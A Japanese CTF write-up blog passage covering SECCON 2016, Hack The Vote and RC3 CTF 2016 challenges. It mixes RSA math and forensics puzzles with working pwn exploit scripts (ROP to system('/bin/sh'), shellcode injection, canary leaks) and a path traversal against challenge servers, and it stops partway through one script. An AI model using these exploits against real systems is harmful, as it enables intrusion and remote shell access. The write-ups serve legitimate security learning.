ROPを用いてprintf関数でGOT上のlibc関数アドレスをリークした後、getnline関数でstageを読み込んでstack pivotを行い、system関数を呼ぶとシェルが起動する。 ただし、リモートサーバではASCII-armorが有効だったようでlibc_start_mainの下位1バイトが00なため、リーク時に1バイトずらして書き出す必要があった。

from minipwn import *

s = connect_process(['./cheer_msg'])
#s = socket.create_connection(('cheermsg.pwn.seccon.jp', 30527))
print s.recv(8192)
sendline(s, '-150')
print s.recv(8192)

plt_printf = 0x8048430
got_libc_start = 0x804a028
addr_pop_ebp = 0x80487af
addr_pop2_ebp = 0x80487ad
addr_getnline = 0x80486bd
addr_bss = 0x0804a800
addr_leave = 0x8048518

# the offset of libc_start_main of the remote libc is 0x00019a00
buf = p32(plt_printf) + p32(addr_pop_ebp) + p32(got_libc_start)
#buf = p32(plt_printf) + p32(addr_pop_ebp) + p32(got_libc_start+1)
buf += p32(addr_getnline) + p32(addr_pop2_ebp) + p32(addr_bss) + p32(100)
buf += p32(addr_bss-4)
buf += p32(addr_leave)

sendline(s, buf)
print recvuntil(s, 'Message : \n')
data = s.recv(8192)
addr_libc_start = u32(data[:4])
#addr_libc_start = u32('\x00'+data[:3])
print "[+] addr_libc_start = %x" % addr_libc_start
addr_system = addr_libc_start - 0x00018540 + 0x0003a920
#addr_system = addr_libc_start - 0x00019a00 + 0x00040310

buf = p32(addr_system) + 'BBBB' + p32(addr_bss+12)
buf += '/bin/sh\x00'

sendline(s, buf)
interact(s)
$ python solve.py
Hello, I'm Nao.
Give me your cheering messages :)

Message Length >>
Message >>

Oops! I forgot to ask your name...
Can you tell me your name?

Name >>
Thank you 0�)��!
Message :

[+] addr_libc_start = f7564a00
id
uid=10168 gid=1001(cheer_msg) groups=1001(cheer_msg)
ls
cheer_msg
flag.txt
run.sh
cat flag.txt
SECCON{N40.T_15_ju571c3}

あとから考えると、printfなど他の関数のGOTをリークさせたほうが楽だった。

所感

他に解きたかった問題は以下。

  • jmper (Exploit 300)
  • checker (Exploit 300)
  • tinypad (Exploit 300)
  • chat (Exploit 500)

Multi-prime RSAを復号してみる(Hack The Vote 2016 The Best RSA)

この記事は「CTF Advent Calendar 2016」9日目の記事です。

RSA暗号は二つの素数p, qから計算されるn=p*qを公開鍵として暗号化を行うものであるが、これを一般化したものとしてMulti-prime RSAがある。 ここでは、Multi-prime RSAの概要を説明し、これを題材にした問題を紹介する。

Multi-prime RSA

RSA暗号は、二つの素数p, qとある条件を満たす整数eを用いて、次のような式をもとに計算される。

n = p * q
phi(n) = (p-1) * (q-1)
d = e^(-1) mod phi(n)
c = m^e mod n
m = c^d mod n

mは平文、cは暗号文を表し、公開鍵はnおよびe、秘密鍵はdである。 また、phi(n)はオイラーのトーシェント関数と呼ばれる関数であり、nと互いに素となるn以下の自然数の個数を表す。 上の場合、p, qが素数であることから、その値は(p-1)*(q-1)となる。

ここで、nを任意の自然数に一般化し、互いに異なる素数p1, p2, …, pmと正の整数k1, k2, …, kmを用いて次のように表される場合を考える。

n = p1^k1 * p2*k2 * … * pm^km

このような場合でも、オイラーのトーシェント関数の定義に基づきphi(n)を計算することにより、上と同様の関係が成り立つ。 これは(特にk1, k2, …, kmがすべて1の場合を指して)Multi-prime RSAと呼ばれる。 このとき、phi(n)の具体的な値は次のようになる。

phi(n) = phi(p1^k1) * phi(p2*k2) * … * phi(pm^km)
       = (p1^(k1-1) * (p1-1)) * (p2^(k2-1) * (p2-1)) * … * (pm^(km-1) * (pm-1))

RSA同様、Multi-prime RSAの安全性も素因数分解の困難さに基づいている。 したがって、nが現実的な時間で素因数分解できる場合、Multi-prime RSAは破られる。

Hack The Vote 2016 The Best RSA (Crypto 250)

この問題では、e、n、cの三つの数字が与えられる。 nは524283ビットの非常に大きな値であるが、下位の桁を見ると5で割り切れることがわかる。

$ wget "https://raw.githubusercontent.com/ctfs/write-ups-2016/master/hack-the-vote-ctf-2016/crypto/the-best-rsa-250/the-best-rsa.txt"

$ mv the-best-rsa.txt the_best_rsa.py

$ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from the_best_rsa import *
>>> len(bin(n))-2
524283
>>> n % 1000
875L

実際にnを素因数分解してみると、次のように素因数分解することができる。

# factor.py
from the_best_rsa import *
from collections import Counter

c = Counter()
i = 3
while True:
    while i*i <= n:
        if n % i == 0:
            c[i] += 1
            n = n // i
            break
        i += 2
    else:
        c[n] += 1
        break

divisors = c.items()
print divisors
$ python factor.py
[(3, 1545), (5, 1650), (7, 1581), (137, 1547), (11, 1588), (13, 1595), (17, 1596), (19, 1553), (149, 1572), (23, 1579), (29, 1549), (31, 1613), (163, 1589), (37, 1594), (167, 1578), (41, 1524), (43, 1538), (173, 1617), (47, 1571), (229, 1610), (179, 1556), (53, 1635), (59, 1556), (151, 1549), (61, 1605), (181, 1582), (193, 1549), (67, 1606), (197, 1520), (71, 1589), (73, 1571), (241, 1564), (79, 1548), (83, 1630), (139, 1638), (89, 1535), (199, 1574), (223, 1610), (97, 1456), (227, 1600), (131, 1540), (101, 1514), (103, 1583), (233, 1564), (107, 1591), (109, 1529), (239, 1556), (157, 1600), (113, 1601), (211, 1544), (251, 1493), (191, 1564), (127, 1565)]

ここで、それぞれのタプルは上の式における (pi, ki) (i=1,…,m) を表している。

この結果と上に示した定義から直接phi(n)およびdを求めることもできるが、dはphi(n)と同じ程度に大きな値となるため復号時のd乗の計算に非常に時間がかかる。 そこで、RSA同様に中国の剰余定理を用いて復号を高速化することを考える。 中国の剰余定理は剰余の計算を法の因数ごとに分解できるという定理であり、Multi-prime RSAの場合もphi(n)がphi(pi^ki)の積で表されることからRSAと同様の計算により適用することができる。 具体的には、ni=pi^kiそれぞれについてphi(ni)、di、miを順に求め、得られたniとmiの組に中国の剰余定理を適用することで解を得る。

# solve.py
from the_best_rsa import *
import gmpy

divisors = [(3, 1545), (5, 1650), (7, 1581), (137, 1547), (11, 1588), (13, 1595), (17, 1596), (19, 1553), (149, 1572), (23, 1579), (29, 1549), (31, 1613), (163, 1589), (37, 1594), (167, 1578), (41, 1524), (43, 1538), (173, 1617), (47, 1571), (229, 1610), (179, 1556), (53, 1635), (59, 1556), (151, 1549), (61, 1605), (181, 1582), (193, 1549), (67, 1606), (197, 1520), (71, 1589), (73, 1571), (241, 1564), (79, 1548), (83, 1630), (139, 1638), (89, 1535), (199, 1574), (223, 1610), (97, 1456), (227, 1600), (131, 1540), (101, 1514), (103, 1583), (233, 1564), (107, 1591), (109, 1529), (239, 1556), (157, 1600), (113, 1601), (211, 1544), (251, 1493), (191, 1564), (127, 1565)]

# https://en.wikipedia.org/wiki/Euler%27s_totient_function
n_ary = []
a_ary = []
for p, k in divisors:
    pk = p ** k
    phi = pk * (p-1)/p
    d = gmpy.invert(e, phi)
    mk = pow(c, d, pk)
    n_ary.append(pk)
    a_ary.append(mk)

# http://rosettacode.org/wiki/Chinese_remainder_theorem#Python
def chinese_remainder(n, a):
    sum = 0
    prod = reduce(lambda a, b: a*b, n)

    for n_i, a_i in zip(n, a):
        p = prod / n_i
        sum += a_i * gmpy.invert(p, n_i) * p
    return sum % prod

m = chinese_remainder(n_ary, a_ary)
m = "%x" % m
print m.decode('hex')

平文をファイルに書き出し、fileコマンドで調べるとGIF画像であることがわかる。

$ python solve.py >result.bin

$ file result.bin
result.bin: GIF image data, version 89a, 512 x 316

$ mv result.bin result.gif

f:id:inaz2:20161202110000g:plain

関連リンク

RC3 CTF 2016 供養(Writeup)

RC3 CTF 2016に参加。2940ptで54位。

What's your virus? (Trivia 20)

ILOVEYOU

Horse from Tinbucktu (Trivia 30)

Zeus

Love Bomb (Trivia 40)

Stuxnet

Infringing memes (Trivia 50)

PIPA

Logmein (Reversing 100)

よくあるタイプのcrackme。angrで解いた。

import angr

p = angr.Project('./logmein', load_options={'auto_load_libs': False})
s = p.factory.entry_state()
initial_path = p.factory.path(s)
pg = p.factory.path_group(initial_path)
e = pg.explore(find=0x4007f0, avoid=0x4007c0)

if len(e.found) > 0:
    s = e.found[0].state
    print "%r" % s.posix.dumps(0)
# python solve.py
'RC3-2016-XORISGUD\x00\x80\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01'

# ./logmein
Welcome to the RC3 secure password guesser.
To continue, you must enter the correct password.
Enter your guess: RC3-2016-XORISGUD
You entered the correct password!
Great job!

Who's a good boy? (Web 100)

トップページで読み込まれているCSSの最後にflagがある。

/*here's a flag :)*/
flag:RC3-2016-CanineSS

Bork Bork (Web 300)

次のようなリクエストを投げるとcatコマンドのエラー出力が出てくる。

$ curl -v -d 'bork=' https://ctf.rc3.club:3100/bork
(snip)
< HTTP/1.0 200 OK
< Content-Type: text/html; charset=utf-8
< Content-Length: 367
< Server: Werkzeug/0.11.11 Python/2.7.12
< Date: Sun, 20 Nov 2016 16:32:48 GMT
<
<!DOCTYPE html>
<html>
    <head>
        <link rel="stylesheet" type="text/css" href="/static/bork.css">
        <link rel="shortcut icon" href="/static/favicon.ico">
    </head>
    <body>
        <h1>HERE'S YOUR BORK!!!!</h1>
        <iframe width="854" height="480" src="cat: borks/: Is a directory?autoplay=1&loop=1" frameborder="0"></iframe>
    </body>
* STATE: PERFORM => DONE handle 0x6000579b0; line 1955 (connection #0)
* multi_done
* Closing connection 0
* The cache now contains 0 members
* TLSv1.2 (OUT), TLS alert, Client hello (1):
</html>

ServerヘッダからPythonのHTTPサーバWerkzeugが動いていることがわかるので、スクリプト名を推測してソースコードを表示させてみる。

$ curl -d 'bork=../bork.py' https://ctf.rc3.club:3100/bork
<!DOCTYPE html>
<html>
    <head>
        <link rel="stylesheet" type="text/css" href="/static/bork.css">
        <link rel="shortcut icon" href="/static/favicon.ico">
    </head>
    <body>
        <h1>HERE'S YOUR BORK!!!!</h1>
        <iframe width="854" height="480" src="from flask import Flask, render_template, request, send_from_directory
import os
import commands
import subprocess as sub

app = Flask(__name__)

#Select your bork
@app.route(&#39;/&#39;, methods=[&#39;GET&#39;])
def index():
    return render_template(&#34;index.html&#34;)

@app.route(&#39;/favicon.ico&#39;, methods=[&#39;GET&#39;])
def favicon():
    return send_from_directory(os.path.join(app.root_path, &#39;static&#39;),
            &#39;favicon.ico&#39;)

@app.route(&#39;/bork&#39;, methods=[&#39;POST&#39;])
def bork():
    filename = request.form[&#34;bork&#34;]
    print &#39;&#34;&#39; + filename + &#39;&#34;&#39;

    #had to remove / and .. because without that you can&#39;t get ../bork.txt
    badchars = [&#39;;&#39;, &#39;&gt;&#39;, &#39;&lt;&#39;, &#39;|&#39;, &#39;$&#39;, &#39;`&#39;, &#39;(&#39;, &#39;)&#39;, &#34;mv&#34;, &#34;rm&#34;, &#34;cp&#34;, &#34;python&#34;, &#34;perl&#34;, &#34;ruby&#34;, &#34;bash&#34;, &#34;zsh&#34;, &#39;~&#39;, &#39;*&#39;, &#39;-&#39;]
    for bad in badchars:
        if bad in filename:
            print &#34;found bad character&#34;
            return render_template(&#34;sad.html&#34;)

    bork = commands.getstatusoutput(&#39;cat borks/&#39; + filename)

    #so subprocess errors for some reason? literally ran the same script which is in /tmp/cmd.py.
    #that script works, but when run in flask it doesn&#39;t work? not sure why.
    #next time just use perl or php. they have great direct command line access which makes for
    #super easy command injection

    #cmdList = [&#39;bin/sh&#39;, &#39;-c&#39;, &#39;cat borks/&#39; + filename]
    #p = sub.Popen(cmdList, stdout=sub.PIPE, stderr=sub.PIPE)
    #bork, errors = p.communicate()
    #should probably check errors

    #return render_template(&#34;bork.html&#34;, bork=bork)
    return render_template(&#34;bork.html&#34;, bork=bork[1])

if __name__ == &#34;__main__&#34;:
    try:
        app.run(host=&#39;0.0.0.0&#39;, port=&#39;9000&#39;)
    except Exception as e:
        print &#34;Exception:&#34;
        print e?autoplay=1&loop=1" frameborder="0"></iframe>
    </body>
</html>

コメントを参考にbork.txtを表示させてみるとflagが得られた。

$ curl -d 'bork=../bork.txt' https://ctf.rc3.club:3100/bork
<!DOCTYPE html>
<html>
    <head>
        <link rel="stylesheet" type="text/css" href="/static/bork.css">
        <link rel="shortcut icon" href="/static/favicon.ico">
    </head>
    <body>
        <h1>HERE'S YOUR BORK!!!!</h1>
        <iframe width="854" height="480" src="RC3-2016-L057d0g3?autoplay=1&loop=1" frameborder="0"></iframe>
    </body>
</html>

Salad (Crypto 100)

シーザー暗号。

import string

c = '7sj-ighm-742q3w4t'
chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

for i in xrange(len(chars)):
    table = string.maketrans(chars, chars[i:] + chars[:i])
    print c.translate(table)
$ python test.py
7sj-ighm-742q3w4t
8tk-jhin-853r4x5u
9ul-kijo-964s5y6v
avm-ljkp-a75t6z7w
(snip)
Rc3-2016-ROMaNgOd
(snip)

Calculus (Crypto 200)

微積分の書かれたGoogle Documentが与えられる。計算結果とHintから推測した。

200: There are no symbols in the flag

a
n^2
t^3
i^4
2*d^5
e^6
r^7+r^5+r^4+r+1
v^8+v^7+v^4+v^2+9*v

RC3-2016-antiderv

Cats (Crypto 300)

gif画像の各フレームで表示されている猫の数を数え、アルファベットに置き換えてみると次のようになる。

nums = [14, 9, 1, 20, 23, 15, 5, 13]
chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
s = ''
for n in nums:
    s += chars[n-1]
print s
$ python test.py
NIATWOEM

先頭がMEOWとなると推測し、逆順に並び換えたものを送ると通った。

RC3-2016-MEOWTAIN

My Lil Droid (Forensics 100)

apkファイルが与えられる。build-data.propertiesbase64っぽい文字列があり、デコードするとflagが得られる。

$ unzip youtube.apk

$ cat build-data.properties
build.target=blaze-out/intel-linux-android-4.8-libcxx-x86-opt/bin/java/com/google/android/gmscore/integ/client/1p_monolithic_raw_pre_munge_deploy.jar
build.citc.snapshot=-1
build.verifiable=1
build.client=build-secure-info\:(SrcFS)
main.class=
build.label=gmscore_v3_RC21_SDK
build.tool=Blaze, release blaze-2016.04.14-4 (mainline @119748905)
build.client_mint_status=1
build.build_id=950d1ddb-9c1f-4bb8-b5b6-f3752bb22c0c
build.gplatform=intel-linux-android-4.8-libcxx-x86
build.depot.path=//depot/branches/gmscore_apks_release_branch/120490875.2/google3
build.versionmap=map 120490875 default { // } import buildenv/9410;
build.time=Tue May 31 15\:02\:21 2016 (1464732141)
build.location=social-builder-pool-gmscore@voz22\:/google/src/files/123676479/depot/branches/gmscore_apks_release_branch/120490875.2/READONLY
build.timestamp.as.int=1464732141
build.changelist.as.int=123676479
build.timestamp=1464732141
build.changelist=123676479
UkMz-2016-R09URU0yMQ==

$ echo UkMz | base64 -d
RC3

$ echo R09URU0yMQ== | base64 -d
GOTEM21
RC3-2016-GOTEM21

Graphic Design (Forensics 200)

3DデータのOBJファイルが与えられる。コメントを見ると何かとステゴザウルスの二つの物体があるようなので、ステゴザウルス部分を取り除いてみる。

$ head forensics200.obj
# Blender v2.78 (sub 0) OBJ File: ''
# www.blender.org
mtllib forensics200.mtl
o def_not_the_flag_Text.002
v 2.131841 14.053224 -7.976235
v 1.879015 13.982867 -7.720026
v 1.927970 13.935733 -7.684662
v 2.078477 13.977615 -7.837183
v 2.147170 13.716490 -7.514853
v 2.407256 13.788866 -7.778421

$ grep '^o' forensics200.obj
o def_not_the_flag_Text.002
o stegosaurus

$ awk 'NR==1,/o stegosaurus/{print}' forensics200.obj >a.obj

これをMesh Viewerで表示してみると、flagが得られた。

f:id:inaz2:20161121200317p:plain

RC3-2016-St3GG3rz

Breaking News (Forensics 300)

20個のzipファイルが与えられる。hexdumpを見るとところどころにbase64っぽい文字列がまぎれており、それぞれデコードして繋げることでflagが得られる。

$ \ls -1 -v
Chapter0.zip
Chapter1.zip
Chapter2.zip
Chapter3.zip
Chapter4.zip
Chapter5.zip
Chapter6.zip
Chapter7.zip
Chapter8.zip
Chapter9.zip
Chapter10.zip
Chapter11.zip
Chapter12.zip
Chapter13.zip
Chapter14.zip
Chapter15.zip
Chapter16.zip
Chapter17.zip
Chapter18.zip
Chapter19.zip

$ \ls -1 -v | xargs -n1 strings | grep -v '.txt'
GINg
L+^=
<U<i%[
GINg
D{N1
!Rk\
^hE3n
GIKZo=f
GIKZo=f
UkMK
\DjX
pZzU
NR!R9
K4r>&
K)VH,JU(
My0yMAo=
MTYtRFUK
;X c
`s;
(yCc
_/_PK
Wow, these Queebloid folks do not fool around.
H,Q/V(
,Q(NM
0gZ+
?6(U
Y*mO
.Xt]
3oc$M8e
S1lGCg==
2VD%
6[in
,QH,(HM,*V(
QkxTCg==
*Cut to black*

$ echo UkMK | base64 -d
RC

$ echo My0yMAo= | base64 -d
3-20

$ echo MTYtRFUK | base64 -d
16-DU

$ echo S1lGCg== | base64 -d
KYF

$ echo QkxTCg== | base64 -d
BLS
RC3-2016-DUKYFBLS

Dirty Birdy (Forensics 400)

ディスクイメージが与えられる。FTK Imagerで開くとsecretfilesディレクトリがあるので、エクスポートする。

f:id:inaz2:20161121202101p:plain

gitリポジトリの状態を見るとPGP秘密鍵が削除されていることがわかるので、git checkoutで復元する。

$ ls
document.txt*  README.md*  Workbook1.xlsx.gpg*

$ git status
error: unable to open object pack directory: .git/objects/pack: Not a directory
On branch master
Your branch is up-to-date with 'origin/master'.
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git checkout -- <file>..." to discard changes in working directory)

        deleted:    private.key

Untracked files:
  (use "git add <file>..." to include in what will be committed)

        README.md
        Workbook1.xlsx.gpg
        document.txt

no changes added to commit (use "git add" and/or "git commit -a")

$ git checkout private.key
error: unable to open object pack directory: .git/objects/pack: Not a directory

$ cat private.key
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: GnuPG v1

(snip)
-----END PGP PRIVATE KEY BLOCK-----

$ file Workbook1.xlsx.gpg
Workbook1.xlsx.gpg: PGP RSA encrypted session key - keyid: 1246B951 2DB12CE2 RSA (Encrypt or Sign) 1024b .

復元したPGP秘密鍵Excelファイルを復号すると、パスワード付きExcelファイルが得られる。 パスワードのような文字列がdocument.txtにあるが、これにはスペルミスがあり、実際にはpassword123で開くことができた。

$ gpg --import private.key
gpg: key 8FFDF6D6: secret key imported
gpg: /home/user/.gnupg/trustdb.gpg: trustdb created
gpg: key 8FFDF6D6: public key "ThugG (lolz) <nope@gmail.com>" imported
gpg: Total number processed: 1
gpg:               imported: 1  (RSA: 1)
gpg:       secret keys read: 1
gpg:   secret keys imported: 1

$ gpg --output Workbook1.xlsx --decrypt Workbook1.xlsx.gpg
gpg: encrypted with 1024-bit RSA key, ID E22CB12D, created 2016-11-18
      "ThugG (lolz) <nope@gmail.com>"

$ cat document.txt
passowrd123

2枚目のシートに白文字でflagが書かれている。

f:id:inaz2:20161121200449p:plain

RC3-2016-SNEAKY21

Fencepost (Pwn 150)

IDA Proで開いてアセンブリコードを読むと、[rbp+var_4]を0xFFFFFFFFで初期化した後、0と比較していることがわかる。 また、scanf関数の箇所にスタックバッファオーバーフロー脆弱性がある。

.text:0000000000400823 ; =============== S U B R O U T I N E =======================================
.text:0000000000400823
.text:0000000000400823 ; Attributes: bp-based frame
.text:0000000000400823
.text:0000000000400823 sub_400823      proc near               ; DATA XREF: main+3Ao
.text:0000000000400823
.text:0000000000400823 var_54          = dword ptr -54h
.text:0000000000400823 s2              = byte ptr -50h
.text:0000000000400823 var_48          = qword ptr -48h
.text:0000000000400823 var_40          = dword ptr -40h
.text:0000000000400823 var_3C          = word ptr -3Ch
.text:0000000000400823 s               = byte ptr -30h
.text:0000000000400823 var_4           = dword ptr -4
.text:0000000000400823
.text:0000000000400823                 push    rbp
.text:0000000000400824                 mov     rbp, rsp
.text:0000000000400827                 sub     rsp, 60h
.text:000000000040082B                 mov     [rbp+var_54], edi
.text:000000000040082E                 mov     [rbp+var_4], 0FFFFFFFFh
.text:0000000000400835                 mov     rax, '-eht-ton'
.text:000000000040083F                 mov     qword ptr [rbp+s2], rax
.text:0000000000400843                 mov     rax, 'sap-laer'
.text:000000000040084D                 mov     [rbp+var_48], rax
.text:0000000000400851                 mov     [rbp+var_40], 'rows'
.text:0000000000400858                 mov     [rbp+var_3C], 'd'
.text:000000000040085E                 lea     rdi, aWelcomeToTheRc ; "=== Welcome to the RC3 Secure CTF Login"...
.text:0000000000400865                 call    _puts
.text:000000000040086A                 lea     rdi, aPleaseEnterThe ; "=== Please enter the correct password b"...
.text:0000000000400871                 call    _puts
.text:0000000000400876
.text:0000000000400876 loc_400876:                             ; CODE XREF: sub_400823+ACj
.text:0000000000400876                 lea     rdi, format     ; "Password: "
.text:000000000040087D                 mov     eax, 0
.text:0000000000400882                 call    _printf
.text:0000000000400887                 lea     rax, [rbp+s]
.text:000000000040088B                 mov     rsi, rax
.text:000000000040088E                 lea     rdi, aS         ; "%s"
.text:0000000000400895                 mov     eax, 0
.text:000000000040089A                 call    ___isoc99_scanf
.text:000000000040089F                 lea     rax, [rbp+s]
.text:00000000004008A3                 mov     rdi, rax        ; s
.text:00000000004008A6                 call    _strlen
.text:00000000004008AB                 add     rax, 1
.text:00000000004008AF                 mov     [rbp+rax+s], 0
.text:00000000004008B4                 cmp     [rbp+var_4], 0
.text:00000000004008B8                 jz      short loc_4008D1
.text:00000000004008BA                 lea     rdx, [rbp+s2]
.text:00000000004008BE                 lea     rax, [rbp+s]
.text:00000000004008C2                 mov     rsi, rdx        ; s2
.text:00000000004008C5                 mov     rdi, rax        ; s1
.text:00000000004008C8                 call    _strcmp
.text:00000000004008CD                 test    eax, eax
.text:00000000004008CF                 jnz     short loc_400876
.text:00000000004008D1
.text:00000000004008D1 loc_4008D1:                             ; CODE XREF: sub_400823+95j
.text:00000000004008D1                 cmp     [rbp+var_4], 0
.text:00000000004008D5                 jnz     short locret_4008E1
.text:00000000004008D7                 mov     eax, 0
.text:00000000004008DC                 call    sub_400810
.text:00000000004008E1
.text:00000000004008E1 locret_4008E1:                          ; CODE XREF: sub_400823+B2j
.text:00000000004008E1                 leave
.text:00000000004008E2                 retn
.text:00000000004008E2 sub_400823      endp

スタックバッファオーバーフローを用いて[rbp+var_4]を0で上書きすると、flagが得られた。

$ perl -e 'print "\x00"x48 . "\n"' | nc 52.71.70.98 2091
=== Welcome to the RC3 Secure CTF Login ===
=== Please enter the correct password below ===
Password: RC3-2016-STACKPWN

IMS Easy (Pwn 150)

NX無効の32 bit ELF実行ファイルが与えられる。

$ file IMS-easy
IMS-easy: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=9da37e8640249fe6a37b5020e1ac6c5beecfe7a7, not stripped

$ readelf -a IMS-easy
(snip)
Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD           0x000000 0x08048000 0x08048000 0xa6150 0xa6150 R E 0x1000
  LOAD           0x0a6f58 0x080eff58 0x080eff58 0x01028 0x023ac RW  0x1000
  NOTE           0x0000f4 0x080480f4 0x080480f4 0x00044 0x00044 R   0x4
  TLS            0x0a6f58 0x080eff58 0x080eff58 0x00010 0x00028 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10
  GNU_RELRO      0x0a6f58 0x080eff58 0x080eff58 0x000a8 0x000a8 R   0x1
(snip)

アセンブリコードを読むと、インデックスの範囲チェックがされておらず、スタック上の任意のデータを読み書きできる脆弱性があることがわかる。 そこで、saved ebpを読み出し、リターンアドレスをスタック上に配置したシェルコードの先頭に書き換えるコードを書く。

from minipwn import *
import re

def add_record(s, _id, code):
    recvuntil(s, 'Choose: ')
    sendline(s, '1')
    recvuntil(s, 'Enter product ID: ')
    sendline(s, str(_id))
    recvuntil(s, 'Enter product code: ')
    sendline(s, code)
    recvuntil(s, 'IMS\n')

def delete_record(s, index):
    recvuntil(s, 'Choose: ')
    sendline(s, '2')
    recvuntil(s, 'Enter index to delete: ')
    sendline(s, str(index))
    recvuntil(s, 'IMS\n')

def view_record(s, index):
    recvuntil(s, 'Choose: ')
    sendline(s, '3')
    recvuntil(s, 'Enter the index of the product you wish to view: ')
    sendline(s, str(index))
    data = recvuntil(s, 'There ')[:-6]
    recvuntil(s, 'IMS\n')
    return data

def do_exit(s):
    recvuntil(s, 'Choose: ')
    sendline(s, '4')

#s = connect_process(['./IMS-easy'])
s = socket.create_connection(('ims.ctf.rc3.club', 7777))

# leak saved ebp
data = view_record(s, 5)
m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data)
if m:
    data = m.group(2)
    saved_ebp = u32(data[:4])
    print "[+] saved_ebp = %x" % saved_ebp
    addr_buf = saved_ebp - 0xe0
    print "[+] addr_buf = %x" % addr_buf

# put shellcode on the stack
sc = shellcode['x86']
print "[+] len(shellcode) = %d" % len(sc)
add_record(s, u32(sc[8:12]), sc[:8])
add_record(s, u32(sc[20:].ljust(4)), sc[12:20])
add_record(s, 0, 'AAAABBBB')
add_record(s, 0, 'AAAABBBB')
add_record(s, 0, 'AAAABBBB')
add_record(s, 0, 'AAAABBBB')

# overwrite eip
add_record(s, addr_buf, 'AAAABBBB')

do_exit(s)
interact(s)

起動したシェルから問題文に与えられたファイルを読み出すとflagが得られる。

$ python test.py
[+] saved_ebp = ffba30cc
[+] addr_buf = ffba2fec
[+] len(shellcode) = 23
id
uid=1002(IMS-easy) gid=1002(IMS-easy) groups=1002(IMS-easy)
cat /home/IMS-easy/flag.txt
RC3-2016-REC0RDZ-G0T-R3KT

IMS Hard (Pwn 400)

上の問題と同じ実行ファイルだが、NXとStack canaryが有効になっている。

$ file IMS-hard
IMS-hard: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=bf20997cf9884ed329fc6d3bf91114c79b919868, not stripped

$ readelf -a IMS-hard
(snip)
Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00e74 0x00e74 R E 0x1000
  LOAD           0x000eb0 0x08049eb0 0x08049eb0 0x00158 0x0019c RW  0x1000
  DYNAMIC        0x000ebc 0x08049ebc 0x08049ebc 0x000f8 0x000f8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x000d3c 0x08048d3c 0x08048d3c 0x0003c 0x0003c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10
  GNU_RELRO      0x000eb0 0x08049eb0 0x08049eb0 0x00150 0x00150 R   0x1
(snip)
Relocation section '.rel.plt' at offset 0x438 contains 15 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049fc0  00000107 R_386_JUMP_SLOT   00000000   setbuf@GLIBC_2.0
08049fc4  00000207 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
08049fc8  00000307 R_386_JUMP_SLOT   00000000   fflush@GLIBC_2.0
08049fcc  00000407 R_386_JUMP_SLOT   00000000   memcpy@GLIBC_2.0
08049fd0  00000507 R_386_JUMP_SLOT   00000000   fgets@GLIBC_2.0
08049fd4  00000607 R_386_JUMP_SLOT   00000000   __stack_chk_fail@GLIBC_2.4
08049fd8  00000707 R_386_JUMP_SLOT   00000000   fwrite@GLIBC_2.0
08049fdc  00000807 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
08049fe0  00000907 R_386_JUMP_SLOT   00000000   __gmon_start__
08049fe4  00000a07 R_386_JUMP_SLOT   00000000   strtoul@GLIBC_2.0
08049fe8  00000b07 R_386_JUMP_SLOT   00000000   strchr@GLIBC_2.0
08049fec  00000c07 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
08049ff0  00000d07 R_386_JUMP_SLOT   00000000   memset@GLIBC_2.0
08049ff4  00000e07 R_386_JUMP_SLOT   00000000   strncpy@GLIBC_2.0
08049ff8  00000f07 R_386_JUMP_SLOT   00000000   strtol@GLIBC_2.0
(snip)

また、Hintから独自にコンパイルしたlibcが使われていることがわかる。

400: There's a custom libc that is making your life harder :(

そこで、JIT-ROP(Dynamic ROP)を行うことにする。 スタックからstdoutのアドレス、stack canary、main関数からのリターンアドレス(__libc_start_main関数内を指すアドレス)を読み出し、fwrite関数でリターンアドレス以降のメモリを読み出すコードを書くと次のようになる。

from minipwn import *
import re

def add_record(s, _id, code):
    recvuntil(s, 'Choose: ')
    sendline(s, '1')
    recvuntil(s, 'Enter product ID: ')
    sendline(s, str(_id))
    recvuntil(s, 'Enter product code: ')
    sendline(s, code)
    recvuntil(s, 'IMS\n')

def delete_record(s, index):
    recvuntil(s, 'Choose: ')
    sendline(s, '2')
    recvuntil(s, 'Enter index to delete: ')
    sendline(s, str(index))
    recvuntil(s, 'IMS\n')

def view_record(s, index):
    recvuntil(s, 'Choose: ')
    sendline(s, '3')
    recvuntil(s, 'Enter the index of the product you wish to view: ')
    sendline(s, str(index))
    data = recvuntil(s, 'There ')[:-6]
    recvuntil(s, 'IMS\n')
    return data

def do_exit(s):
    recvuntil(s, 'Choose: ')
    sendline(s, '4')

#s = connect_process(['./IMS-hard'])
s = socket.create_connection(('ims.ctf.rc3.club', 8888))

# leak stdout
data = view_record(s, -13)
m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data)
if m:
    data = m.group(2)
    libc_stdout = u32(data[4:8])
    print "[+] libc_stdout = %x" % libc_stdout

# leak canary
data = view_record(s, 5)
m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data)
if m:
    canary = int(m.group(1))
